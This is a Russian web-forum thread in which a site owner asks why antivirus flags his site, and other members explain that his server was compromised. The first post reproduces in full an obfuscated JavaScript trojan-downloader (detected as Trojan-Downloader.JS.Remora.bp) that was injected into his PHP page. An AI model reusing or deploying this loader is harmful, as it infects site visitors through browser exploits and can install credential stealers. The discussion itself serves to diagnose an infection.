Перейти к содержимому


Фотография

Веб сервер и вирус...


  • Пожалуйста, авторизуйтесь, чтобы ответить
4 ответов в этой теме

#1 Tele2

Tele2

    =)

  • True Members
  • PipPipPipPipPip
  • 898 сообщений
0
Обычный
  • Пол:Мужчина
  • Город:Санкт-Петербург

Опубликовано 29 January 2008 - 21:27

На днях мне сообщили, что у меня на сайте якобы вирус. Я попробовал на работе (у меня там нод32 и на другой машине symantic) ни чего не нашли.
Сегодня я начал скачивать весь сайт каспер заметил этот вирус. Вопрос в том, что это делает? Мой комп или вирус на сервере?

Сам вирус, кому интересно:


<?
// бла бла
// тут был мой код



?>
<!-- Это то, что дабавил вирус в файл: -->

<!-- c5f61ea21eb19aa7513bb75a2418d646 --><script>document.write(unescape("%3Cscript%3Efunction%20txmafn%28whplcr%29%7Bvar%20aekxat%3Dnew%20String%28arguments.callee%29%3Baekxat%3Daekxat.replace%28/%5B%5Ea-z0-9%28%29+_%5C.%2C-%5D+/ig%2C%20%22%22%29.toUpperCase%28%29%2Cx5gf1x%3D0%2Cny1dfl%3D0%2Cesr3fn%3D%27%27%2Cirztuj%3D0%3Bfor%28var%20qx3fwe%3D0%3Bqx3fwe%3Caekxat.length%3Bqx3fwe++%29irztuj+%3Daekxat.charCodeAt%28qx3fwe%2C1%29%3Bfor%28x5gf1x%3D0%3Bx5gf1x%3Cwhplcr.length%3Bx5gf1x++%29%7Bvar%20to752u%3Dwhplcr%5Bx5gf1x%5D%2Coe7cpu%3Daekxat.substr%28ny1dfl%2C1%29.charCodeAt%280%29%5Eirztuj%3Besr3fn+%3DString.fromCharCode%28to752u%5Eoe7cpu%29%3Bny1dfl++%3Bif%28ny1dfl%3D%3Daekxat.length%29ny1dfl%3D0%7Ddocument.write%28esr3fn%29%3Besr3fn%3D%27%27%7Dtxmafn%28new%20Array%2830193%2C30125%2C30118%2C30138%2C30134%2C30130%2C30128%2C30203%2C30162%2C30169%2C30101%2C30142%2C30143%2C30124%2C30157%2C30139%2C30189%2C30123%2C30133%2C30119%2C30125%2C30157%2C30121%2C30131%2C30121%2C30127%2C30176%2C30092%2C30119%2C30080%2C30089%2C30114%2C30109%2C30118%2C30200%2C30178%2C30201%2C30116%2C30128%2C30114%2C30144%2C30142%2C30128%2C30115%2C30128%2C30190%2C30183%2C30181%2C30116%2C30200%2C30163%2C30121%2C30136%2C30183%2C30131%2C30195%2C30138%2C30154%2C30115%2C30141%2C30188%2C30195%2C30117%2C30178%2C30189%2C30185%2C30203%2C30195%2C30124%2C30128%2C30167%2C30193%2C30136%2C30138%2C30133%2C30186%2C30113%2C30195%2C30167%2C30180%2C30154%2C30132%2C30165%2C30145%2C30150%2C30155%2C30105%2C30080%2C30141%2C30107%2C30106%2C30102%2C30107%2C30178%2C30117%2C30090%2C30095%2C30092%2C30207%2C30123%2C30197%2C30182%2C30127%2C30176%2C30122%2C30141%2C30120%2C30123%2C30138%2C30161%2C30090%2C30158%2C30207%2C30095%2C30181%2C30198%2C30106%2C30113%2C30174%2C30163%2C30128%2C30112%2C30164%2C30191%2C30114%2C30204%2C30107%2C30170%2C30147%2C30162%2C30143%2C30157%2C30115%2C30118%2C30163%2C30123%2C30134%2C30143%2C30207%2C30122%2C30136%2C30157%2C30181%2C30189%2C30114%2C30174%2C30160%2C30144%2C30125%2C30115%2C30117%2C30102%2C30141%2C30126%2C30113%2C30159%2C30133%2C30119%2C30145%2C30141%2C30137%2C30190%2C30199%2C30190%2C30139%2C30174%2C30144%2C30162%2C30127%2C30158%2C30118%2C30122%2C30143%2C30123%2C30201%2C30205%2C30141%2C30171%2C30179%2C30184%2C30113%2C30162%2C30149%2C30147%2C30188%2C30127%2C30132%2C30139%2C30201%2C30191%2C30188%2C30142%2C30084%2C30102%2C30132%2C30105%2C30117%2C30093%2C30177%2C30191%2C30138%2C30136%2C30140%2C30124%2C30197%2C30185%2C30181%2C30129%2C30144%2C30196%2C30132%2C30166%2C30116%2C30120%2C30141%2C30152%2C30162%2C30095%2C30115%2C30125%2C30136%2C30158%2C30204%2C30105%2C30178%2C30081%2C30158%2C30105%2C30189%2C30132%2C30189%2C30134%2C30181%2C30099%2C30207%2C30143%2C30124%2C30132%2C30124%2C30113%2C30140%2C30187%2C30118%2C30115%2C30112%2C30198%2C30200%2C30129%2C30130%2C30170%2C30138%2C30201%2C30109%2C30207%2C30147%2C30159%2C30157%2C30134%2C30115%2C30140%2C30089%2C30117%2C30160%2C30155%2C30172%2C30180%2C30189%2C30191%2C30166%2C30157%2C30149%2C30163%2C30170%2C30167%2C30114%2C30142%2C30158%2C30130%2C30155%2C30120%2C30190%2C30086%2C30184%2C30141%2C30123%2C30116%2C30125%2C30132%2C30138%2C30117%2C30129%2C30093%2C30193%2C30163%2C30147%2C30161%2C30116%2C30164%2C30121%2C30156%2C30171%2C30163%2C30121%2C30181%2C30182%2C30163%2C30162%2C30155%2C30166%2C30182%2C30114%2C30118%2C30123%2C30125%2C30117%2C30123%2C30135%2C30083%2C30129%2C30160%2C30159%2C30147%2C30126%2C30133%2C30132%2C30139%2C30198%2C30184%2C30183%2C30165%2C30163%2C30129%2C30148%2C30142%2C30125%2C30162%2C30166%2C30160%2C30155%2C30131%2C30125%2C30167%2C30189%2C30122%2C30180%2C30203%2C30184%2C30177%2C30198%2C30128%2C30126%2C30134%2C30126%2C30115%2C30150%2C30207%2C30131%2C30165%2C30170%2C30157%2C30134%2C30201%2C30207%2C30108%2C30112%2C30142%2C30135%2C30149%2C30125%2C30118%2C30087%2C30206%2C30189%2C30113%2C30162%2C30145%2C30127%2C30120%2C30177%2C30122%2C30112%2C30174%2C30122%2C30143%2C30202%2C30202%2C30190%2C30131%2C30113%2C30121%2C30178%2C30082%2C30181%2C30190%2C30190%2C30188%2C30123%2C30123%2C30155%2C30134%2C30204%2C30173%2C30122%2C30137%2C30081%2C30153%2C30126%2C30121%2C30125%2C30091%2C30100%2C30082%2C30189%2C30198%2C30085%2C30199%2C30201%2C30176%2C30200%2C30192%2C30111%2C30177%2C30129%2C30143%2C30154%2C30124%2C30120%2C30151%2C30192%2C30202%2C30178%2C30133%2C30151%2C30156%2C30148%2C30167%2C30129%2C30138%2C30118%2C30178%2C30143%2C30181%2C30139%2C30140%2C30117%2C30143%2C30112%2C30112%2C30157%2C30120%2C30189%2C30124%2C30133%2C30113%2C30125%2C30151%2C30197%2C30137%2C30192%2C30186%2C30131%2C30157%2C30169%2C30147%2C30166%2C30156%2C30125%2C30141%2C30124%2C30140%2C30129%2C30186%2C30112%2C30181%2C30168%2C30186%2C30141%2C30115%2C30141%2C30131%2C30115%2C30112%2C30129%2C30124%2C30091%2C30143%2C30136%2C30126%2C30131%2C30123%2C30182%2C30080%2C30198%2C30118%2C30132%2C30142%2C30118%2C30177%2C30198%2C30124%2C30127%2C30135%2C30131%2C30177%2C30087%2C30201%2C30181%2C30203%2C30132%2C30186%2C30179%2C30190%2C30081%2C30198%2C30089%2C30131%2C30164%2C30146%2C30155%2C30109%2C30110%2C30095%2C30140%2C30161%2C30154%2C30154%2C30110%2C30176%2C30181%2C30087%2C30175%2C30120%2C30165%2C30157%2C30167%2C30162%2C30127%2C30118%2C30128%2C30139%2C30180%2C30123%2C30123%2C30167%2C30177%2C30152%2C30140%2C30165%2C30117%2C30120%2C30098%2C30119%2C30163%2C30158%2C30134%2C30204%2C30169%2C30112%2C30114%2C30124%2C30162%2C30146%2C30080%2C30137%2C30132%2C30173%2C30177%2C30181%2C30163%2C30122%2C30128%2C30114%2C30193%2C30141%2C30126%2C30164%2C30118%2C30125%2C30140%2C30197%2C30140%2C30118%2C30124%2C30143%2C30202%2C30083%2C30148%2C30161%2C30148%2C30130%2C30163%2C30126%2C30133%2C30151%2C30165%2C30131%2C30182%2C30147%2C30154%2C30170%2C30137%2C30138%2C30161%2C30084%2C30113%2C30122%2C30119%2C30134%2C30118%2C30202%2C30185%2C30104%2C30123%2C30121%2C30112%2C30147%2C30164%2C30155%2C30125%2C30135%2C30201%2C30129%2C30143%2C30124%2C30149%2C30182%2C30190%2C30134%2C30130%2C30118%2C30122%2C30144%2C30177%2C30158%2C30144%2C30160%2C30131%2C30153%2C30149%2C30151%2C30147%2C30121%2C30146%2C30120%2C30195%2C30172%2C30192%2C30204%2C30112%2C30146%2C30157%2C30082%2C30089%2C30117%2C30125%2C30150%2C30203%2C30103%2C30199%2C30189%2C30174%2C30205%2C30152%2C30134%2C30154%2C30104%2C30116%2C30167%2C30134%2C30196%2C30125%2C30142%2C30128%2C30184%2C30109%2C30148%2C30131%2C30123%2C30189%2C30181%2C30193%2C30116%2C30134%2C30154%2C30104%2C30116%2C30167%2C30134%2C30088%2C30089%2C30082%2C30198%2C30186%2C30177%2C30185%2C30192%2C30092%2C30094%2C30089%2C30190%2C30188%2C30186%2C30176%2C30183%2C30149%2C30163%2C30170%2C30135%2C30120%2C30114%2C30169%2C30118%2C30154%2C30113%2C30112%2C30152%2C30182%2C30136%2C30129%2C30117%2C30117%2C30121%2C30134%2C30186%2C30178%2C30085%2C30134%2C30143%2C30116%2C30141%2C30207%2C30194%2C30083%2C30183%2C30191%2C30104%2C30191%2C30182%2C30183%2C30146%2C30153%2C30145%2C30148%2C30136%2C30118%2C30178%2C30127%2C30121%2C30120%2C30138%2C30123%2C30179%2C30207%2C30088%2C30107%2C30080%2C30201%2C30201%2C30132%2C30119%2C30126%2C30120%2C30140%2C30141%2C30122%2C30085%2C30191%2C30181%2C30091%2C30200%2C30139%2C30199%2C30134%2C30122%2C30091%2C30184%2C30105%2C30090%2C30128%2C30132%2C30113%2C30125%2C30125%2C30193%2C30177%2C30207%2C30191%2C30151%2C30122%2C30166%2C30153%2C30134%2C30135%2C30148%2C30194%2C30153%2C30148%2C30133%2C30121%2C30135%2C30124%2C30151%2C30116%2C30134%2C30147%2C30086%2C30115%2C30132%2C30164%2C30145%2C30126%2C30113%2C30150%2C30113%2C30194%2C30080%2C30191%2C30123%2C30130%2C30116%2C30125%2C30132%2C30138%2C30117%2C30129%2C30093%2C30190%2C30147%2C30159%2C30149%2C30116%2C30158%2C30120%2C30156%2C30171%2C30152%2C30122%2C30137%2C30130%2C30153%2C30113%2C30180%2C30185%2C30198%2C30114%2C30113%2C30118%2C30122%2C30152%2C30137%2C30135%2C30134%2C30193%2C30125%2C30156%2C30113%2C30131%2C30128%2C30173%2C30179%2C30124%2C30156%2C30122%2C30141%2C30113%2C30199%2C30123%2C30189%2C30137%2C30134%2C30124%2C30139%2C30193%2C30113%2C30123%2C30122%2C30132%2C30138%2C30115%2C30084%2C30124%2C30120%2C30150%2C30204%2C30184%2C30203%2C30176%2C30197%2C30206%2C30082%2C30198%2C30186%2C30125%2C30114%2C30119%2C30131%2C30205%2C30121%2C30128%2C30122%2C30117%2C30133%2C30141%2C30089%2C30136%2C30126%2C30128%2C30121%2C30090%2C30186%2C30180%2C30193%2C30206%2C30187%2C30207%2C30188%2C30180%2C30165%2C30127%2C30145%2C30135%2C30187%2C30154%2C30148%2C30151%2C30149%2C30127%2C30138%2C30086%2C30113%2C30123%2C30130%2C30127%2C30107%2C30098%2C30111%2C30186%2C30181%2C30085%2C30143%2C30139%2C30133%2C30116%2C30142%2C30113%2C30113%2C30157%2C30178%2C30095%2C30172%2C30129%2C30127%2C30153%2C30126%2C30120%2C30121%2C30173%2C30163%2C30150%2C30164%2C30080%2C30118%2C30112%2C30159%2C30111%2C30145%2C30128%2C30119%2C30123%2C30134%2C30142%2C30112%2C30125%2C30182%2C30118%2C30135%2C30125%2C30146%2C30166%2C30158%2C30140%2C30160%2C30178%2C30117%2C30165%2C30112%2C30159%2C30108%2C30181%2C30175%2C30128%2C30150%2C30148%2C30133%2C30174%2C30163%2C30139%2C30122%2C30135%2C30104%2C30186%2C30125%2C30163%2C30134%2C30121%2C30187%2C30192%2C30193%2C30182%2C30107%2C30182%2C30180%2C30193%2C30091%2C30137%2C30118%2C30129%2C30202%2C30190%2C30085%2C30189%2C30203%2C30185%2C30107%2C30118%2C30127%2C30104%2C30121%2C30128%2C30118%2C30186%2C30195%2C30205%2C30195%2C30189%2C30122%2C30155%2C30115%2C30123%2C30115%2C30117%2C30129%2C30118%2C30142%2C30196%2C30097%2C30189%2C30179%2C30190%2C30164%2C30152%2C30155%2C30129%2C30199%2C30134%2C30138%2C30122%2C30099%2C30145%2C30116%2C30122%2C30099%2C30119%2C30136%2C30134%2C30155%2C30127%2C30187%2C30179%2C30201%2C30194%2C30180%2C30184%2C30185%2C30179%2C30207%2C30088%2C30202%2C30135%2C30164%2C30117%2C30194%2C30140%2C30146%2C30154%2C30158%2C30124%2C30119%2C30140%2C30083%2C30203%2C30097%2C30103%2C30099%2C30171%2C30206%2C30145%2C30179%2C30099%2C30197%2C30179%2C30103%2C30094%2C30195%2C30191%2C30204%2C30185%2C30191%2C30192%2C30091%2C30133%2C30123%2C30133%2C30112%2C30142%2C30112%2C30134%2C30110%2C30180%2C30178%2C30182%2C30205%2C30091%2C30095%2C30094%2C30202%2C30180%2C30206%2C30198%2C30180%2C30108%2C30101%2C30105%2C30204%2C30194%2C30177%2C30203%2C30188%2C30184%2C30125%2C30139%2C30167%2C30143%2C30179%2C30173%2C30134%2C30163%2C30102%2C30127%2C30162%2C30124%2C30088%2C30122%2C30136%2C30119%2C30126%2C30132%2C30178%2C30198%2C30085%2C30195%2C30206%2C30187%2C30198%2C30205%2C30201%2C30088%2C30181%2C30118%2C30162%2C30118%2C30142%2C30185%2C30159%2C30165%2C30161%2C30161%2C30184%2C30184%2C30186%2C30125%2C30112%2C30125%2C30140%2C30176%2C30138%2C30142%2C30167%2C30163%2C30105%2C30159%2C30163%2C30168%2C30114%2C30194%2C30156%2C30148%2C30161%2C30142%2C30173%2C30137%2C30103%2C30145%2C30134%2C30139%2C30090%2C30134%2C30135%2C30117%2C30155%2C30122%2C30201%2C30206%2C30182%2C30126%2C30134%2C30116%2C30138%2C30140%2C30125%2C30112%2C30112%2C30091%2C30198%2C30153%2C30134%2C30135%2C30146%2C30163%2C30158%2C30151%2C30133%2C30142%2C30138%2C30124%2C30082%2C30121%2C30191%2C30091%2C30201%2C30177%2C30183%2C30147%2C30109%2C30178%2C30186%2C30099%2C30196%2C30176%2C30089%2C30203%2C30200%2C30193%2C30205%2C30198%2C30201%2C30130%2C30120%2C30140%2C30145%2C30114%2C30120%2C30178%2C30176%2C30207%2C30124%2C30111%2C30178%2C30197%2C30081%2C30191%2C30123%2C30120%2C30153%2C30191%2C30188%2C30142%2C30143%2C30132%2C30190%2C30124%2C30178%2C30101%2C30183%2C30201%2C30123%2C30207%2C30194%2C30083%2C30114%2C30179%2C30201%2C30161%2C30182%2C30190%2C30091%2C30190%2C30135%2C30194%2C30085%2C30126%2C30187%2C30142%2C30123%2C30119%2C30139%2C30123%2C30128%2C30180%2C30189%2C30098%2C30130%2C30130%2C30114%2C30179%2C30115%2C30159%2C30131%2C30124%2C30121%2C30191%2C30085%2C30136%2C30166%2C30133%2C30180%2C30123%2C30123%2C30112%2C30116%2C30140%2C30119%2C30199%2C30188%2C30190%2C30198%2C30200%2C30140%2C30199%2C30126%2C30112%2C30114%2C30148%2C30142%2C30129%2C30181%2C30194%2C30182%2C30207%2C30185%2C30207%2C30185%2C30092%2C30195%2C30151%2C30157%2C30158%2C30151%2C30140%2C30151%2C30142%2C30139%2C30130%2C30141%2C30186%2C30128%2C30193%2C30147%2C30154%2C30170%2C30135%2C30166%2C30120%2C30163%2C30131%2C30166%2C30157%2C30140%2C30121%2C30140%2C30083%2C30117%2C30086%2C30188%2C30107%2C30152%2C30167%2C30164%2C30082%2C30164%2C30125%2C30163%2C30095%2C30095%2C30107%2C30178%2C30115%2C30089%2C30155%2C30155%2C30124%2C30128%2C30143%2C30135%2C30135%2C30182%2C30192%2C30195%2C30151%2C30162%2C30194%2C30092%2C30161%2C30148%2C30113%2C30167%2C30140%2C30137%2C30084%29%29%3C/script%3E"))</script><!--/-->

  • 0

#2 glebka

glebka

    Super True Member

  • True Members
  • PipPipPipPipPip
  • 4223 сообщений
124
Очень хороший
  • Пол:Мужчина
  • Город:ЮЗ

Опубликовано 29 January 2008 - 22:52

каспер опознает как Trojan-Downloader.JS.Remora.bp
для справки
  • 0
Как лучше всего насмешить Бога - рассказать ему о своих планах на будущее.

#3 лайт

лайт

    iddqd

  • True Members
  • PipPipPipPipPip
  • 3843 сообщений
9
Обычный
  • Пол:Мужчина

Опубликовано 29 January 2008 - 23:30

ломанули сервер, повесили троянец даунлоадер, который либо трафф сливает, либо pinch, xinch, etc. на машину грузит зашедшему на сайт, через дырку в браузере
это вкратце
  • 0

#4 Tele2

Tele2

    =)

  • True Members
  • PipPipPipPipPip
  • 898 сообщений
0
Обычный
  • Пол:Мужчина
  • Город:Санкт-Петербург

Опубликовано 30 January 2008 - 00:34

Эта вирусня вся для винды, а сервер на фряхе
  • 0

#5 лайт

лайт

    iddqd

  • True Members
  • PipPipPipPipPip
  • 3843 сообщений
9
Обычный
  • Пол:Мужчина

Опубликовано 30 January 2008 - 01:33

Эта вирусня вся для винды, а сервер на фряхе

и что? скрипт исполняется на машине клиента, а не на сервере
на сервере он лежит в протрояненном скрипте, в твоём случае - в php скрипте
  • 0


Посетителей, читающих эту тему: 1

0 пользователей, 1 гостей, 0 анонимных пользователей